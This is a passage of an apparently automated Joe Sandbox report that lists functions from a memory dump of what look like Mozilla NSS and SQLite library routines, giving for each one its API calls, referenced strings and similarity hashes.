Part of subcall function 6C62BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6B3CAF,?), ref: 6C62BAD5
Part of subcall function 6C62BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6B3CAF,?), ref: 6C62BB08
Part of subcall function 6C62BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6B3CAF,?), ref: 6C62BB1A
Part of subcall function 6C62BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6B3CAF,?), ref: 6C62BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6B3CCB

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

PR_EnterMonitor.NSS3(?), ref: 6C6B3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6B3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6B3D15
PR_ExitMonitor.NSS3(?), ref: 6C6B3D2E

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 7eda89b71f1f7395bc0db764cffa3afdc4035b9e8c6252c02ba3c7c2bff41b07
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 5B1126B57116006BE7205F65EC417CBB2E4EF5230CF400539E40AA7B20EA32F929C75E

Function 6C67FDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C67FE08

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C67FE1D

Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C67FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C67FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C67FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C67FE6F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 4e5d8cc825ca5b75458da4e3f32a4aadafc9642d8f38e4dfd7084fb3929e6a71
Instruction ID: 4a18ccea3273a90f6d12aac04dfbfa228adcb0e375c70698b7fece54c567697b
Opcode Fuzzy Hash: 4e5d8cc825ca5b75458da4e3f32a4aadafc9642d8f38e4dfd7084fb3929e6a71
Instruction Fuzzy Hash: 4A11E5B6601205BBEB108B54DC40E5B7398AF59799F248434F91C87B12E731D915C7BA

Function 6C72FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C72FD9E

Part of subcall function 6C6E9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C611A48), ref: 6C6E9BB3
Part of subcall function 6C6E9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C611A48), ref: 6C6E9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C72FDB9

Part of subcall function 6C60A900: TlsGetValue.KERNEL32(00000000,?,6C7814E4,?,6C5A4DD9), ref: 6C60A90F
Part of subcall function 6C60A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C60A94F

PR_Unlock.NSS3 ref: 6C72FDD4
PR_Lock.NSS3 ref: 6C72FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C72FE0D
PR_Unlock.NSS3 ref: 6C72FE23

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 2723a50b5e0ce1e705f1763788bae62661c91ad8e44d0f2413f75d1a3b79593b
Instruction ID: 9ef3645b95e5f0dce384d17e37cf53fa56157bce135b0a442450e7c22ef46d69
Opcode Fuzzy Hash: 2723a50b5e0ce1e705f1763788bae62661c91ad8e44d0f2413f75d1a3b79593b
Instruction Fuzzy Hash: 7C018EF6E05610ABCF055E15FD008467661EB032687254375E93A47BA2E722ED28C786

Function 6C60AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C60AFDA

Strings

misuse, xrefs: 6C60AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C60AFC4
%s at line %d of [%.10s], xrefs: 6C60AFD3
unable to delete/modify collation sequence due to active statements, xrefs: 6C60AF5C

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: ddd97bd0db864b951b0c8d6c1a7751123dbfda165390ef3b19bfa7aab357b12a
Instruction ID: 897885d847de61d295aa20548500513b60c6cc50b5dd2bb44fad4dea6d6dfbc7
Opcode Fuzzy Hash: ddd97bd0db864b951b0c8d6c1a7751123dbfda165390ef3b19bfa7aab357b12a
Instruction Fuzzy Hash: E891E371B012158FDB08CF69CA54AAEB7F1BF85354F1985A8E865BB752C330ED02CB64

Function 6C66FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C66FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C66FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C66FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C66FDDE

Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,6C68085A,00000000,?,6C628369,?), ref: 6C678821
Part of subcall function 6C678800: TlsGetValue.KERNEL32(?,?,6C68085A,00000000,?,6C628369,?), ref: 6C67883D
Part of subcall function 6C678800: EnterCriticalSection.KERNEL32(?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678856
Part of subcall function 6C678800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C678887
Part of subcall function 6C678800: PR_Unlock.NSS3(?,?,?,?,6C68085A,00000000,?,6C628369,?), ref: 6C678899

Strings

pkcs11:, xrefs: 6C66FC4F

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: a262fe75f307f94c97babad550b09e81d0eecd6b6e29a7d73a07a78f1848b0a1
Instruction ID: fb62aca66c14557af1291408cd0a208cd0bd98a10332ccfe9cb832dd9f69ba66
Opcode Fuzzy Hash: a262fe75f307f94c97babad550b09e81d0eecd6b6e29a7d73a07a78f1848b0a1
Instruction Fuzzy Hash: 3151E1B1A05111ABEB108F6ADC40B9A33B5AF4635CF240425DD196BF52EB30F904CBAF

Function 6C5ABDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5ABE02

Part of subcall function 6C6D9C40: memcmp.VCRUNTIME140(?,00000000,6C5AC52B), ref: 6C6D9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5ABE9F

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5ABE89
%s at line %d of [%.10s], xrefs: 6C5ABE98
database corruption, xrefs: 6C5ABE93

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 2216f8066df1fd5321795531a5a4afc4b34a55a9c4656f932c87e79a9cd0196c
Instruction ID: 7d9507ec4a90b262d3a3267f550cacf6071694cddeff78d0c43222d898b60c89
Opcode Fuzzy Hash: 2216f8066df1fd5321795531a5a4afc4b34a55a9c4656f932c87e79a9cd0196c
Instruction Fuzzy Hash: 6B314B31B0425D8BCB00DFAACCD4AAFBBA2AF45314B098954EE545BB41D771ED16C7D0

Function 6C696DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C696E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C696E57

Part of subcall function 6C6CC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6CC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C696E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C696EAA

Strings

nsl, xrefs: 6C696DF9

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nsl
API String ID: 3163584228-3778653006
Opcode ID: a7c31e4d418993d61747044087fa479959d68ba4b31a00d7ca34828bcfbdc9da
Instruction ID: 8517ae925b021a0884b5f7009928a9eaabe00ab4f3f0aa83381b780e0547eea8
Opcode Fuzzy Hash: a7c31e4d418993d61747044087fa479959d68ba4b31a00d7ca34828bcfbdc9da
Instruction Fuzzy Hash: 2331C371619713EFDF941E34CD04396B7A4AB0631AF24063DD59AD6A80E730E855CBC9

Function 6C621EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621EE2

Part of subcall function 6C681820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C621D97,?,?), ref: 6C681836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621F37
DER_DecodeTimeChoice_Util.NSS3(?,dLbl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C624C64,?,-00000004), ref: 6C621F53

Strings

dLbl, xrefs: 6C621F2B, 6C621F51

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLbl
API String ID: 3216063065-4283428794
Opcode ID: 4a12eba4b9b07fd60b377eb85abf3c4fde39f243ca493228f5c2b157dc6e5576
Instruction ID: 3f54422bd5e06f99dffc29de45e3d53d32819fb7b1ecc5826903ab45fb224ac3
Opcode Fuzzy Hash: 4a12eba4b9b07fd60b377eb85abf3c4fde39f243ca493228f5c2b157dc6e5576
Instruction Fuzzy Hash: ED21D7B1509306AFC710CF25DC00ADB77E9AB99358F400929EC64C3A00F335E909CBEA

Function 6C610DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C610BDE), ref: 6C610DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C610BDE), ref: 6C610DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C610BDE), ref: 6C610DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C610BDE), ref: 6C610E32

Strings

%s incr => %d (find lib), xrefs: 6C610E2D

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2fb34e5ae917f0cfb35e1f1af203ad3ca2360985c70434d4ed0fe75e72c5d840
Instruction ID: dd033d16901376684bb731de55aa1a74a93e2ef8ebe8d0a1f64fcfd810a32a12
Opcode Fuzzy Hash: 2fb34e5ae917f0cfb35e1f1af203ad3ca2360985c70434d4ed0fe75e72c5d840
Instruction Fuzzy Hash: 14012472B042249FEA208F2A8C49E5773FCDB46B0AB05443DE949D3A42E761EC2587E1

Function 6C651CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C651CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C651CF1

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

Strings

C_Initialize, xrefs: 6C651CD3
pInitArgs = 0x%p, xrefs: 6C651CEC
nsl, xrefs: 6C651D09, 6C651D30

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nsl
API String ID: 1907330108-591192543
Opcode ID: 0a7e07919b052a1100b48d0de537f63eeab460fbf33b106ec031f07007203822
Instruction ID: 2e4e40b2a7122dfde218d012ffef32f858894117b62d5eb6789a6150a953477e
Opcode Fuzzy Hash: 0a7e07919b052a1100b48d0de537f63eeab460fbf33b106ec031f07007203822
Instruction Fuzzy Hash: 9F01CC357021409FCF009F28D94DB5537B5AB8331AF784034EA08C2A11EF34D869C796

Function 6C6CAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC2D

Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE10
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE24
Part of subcall function 6C66ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C64D079,00000000,00000001), ref: 6C66AE5A
Part of subcall function 6C66ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE6F
Part of subcall function 6C66ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AE7F
Part of subcall function 6C66ADC0: TlsGetValue.KERNEL32(?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEB1
Part of subcall function 6C66ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C64CDBB,?,6C64D079,00000000,00000001), ref: 6C66AEC9

PK11_FreeSymKey.NSS3(?,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]kl,00000000,?,?,6C6A6AC6,?), ref: 6C6CAC59
free.MOZGLUE(8CB6FF01,6C6A6AC6,?,?,?,?,?,?,?,?,?,?,6C6B5D40,00000000,?,6C6BAAD4), ref: 6C6CAC62

Strings

@]kl, xrefs: 6C6CAC05

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]kl
API String ID: 1595327144-473540061
Opcode ID: 70847310082a8c468020e9497dcc2481838b0e2529d5d6851fa4096560385233
Instruction ID: b5f24f2cfdf24ca0eb1d67c14f58e081058794a38bab1cce40c482c399a07c6e
Opcode Fuzzy Hash: 70847310082a8c468020e9497dcc2481838b0e2529d5d6851fa4096560385233
Instruction Fuzzy Hash: 330178B56002149BDB00CF15E8C0B5677A8EB05B59F1880A8E94A8FB06D730E808CBAA

Function 6C5B9C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C5B9CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C5B9D45
EnterCriticalSection.KERNEL32(?), ref: 6C5B9D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C5B9DDE

Memory Dump Source

Source File: 00000000.00000002.2627123187.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2627084749.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627479178.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627528954.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627557330.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627581722.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2627607319.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 3d4a6ac73f7d522fc2e58c0858e577b54be274233848a888f65842c0507f46f8
Instruction ID: fbe96d04885f23cb70f4496374f3d4b0a340abac1b7c958dbc8639d84da89197
Opcode Fuzzy Hash: 3d4a6ac73f7d522fc2e58c0858e577b54be274233848a888f65842c0507f46f8
Instruction Fuzzy Hash: 84A1BF717051088FEB0ADF24DCA87AE3B75BB93315F38013DE5166BA40DB39A845DB92

Function 6C641E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C641ECC

Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90AB
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E90C9
Part of subcall function 6C6E9090: EnterCriticalSection.KERNEL32 ref: 6C6E90E5
Part of subcall function 6C6E9090: TlsGetValue.KERNEL32 ref: 6C6E9116
Part of subcall function 6C6E9090: LeaveCriticalSection.KERNEL32 ref: 6C6E913F

TlsGetValue.KERNEL32 ref: 6C641EDF
EnterCriticalSection.KERNEL32(?), ref: 6C641EEF
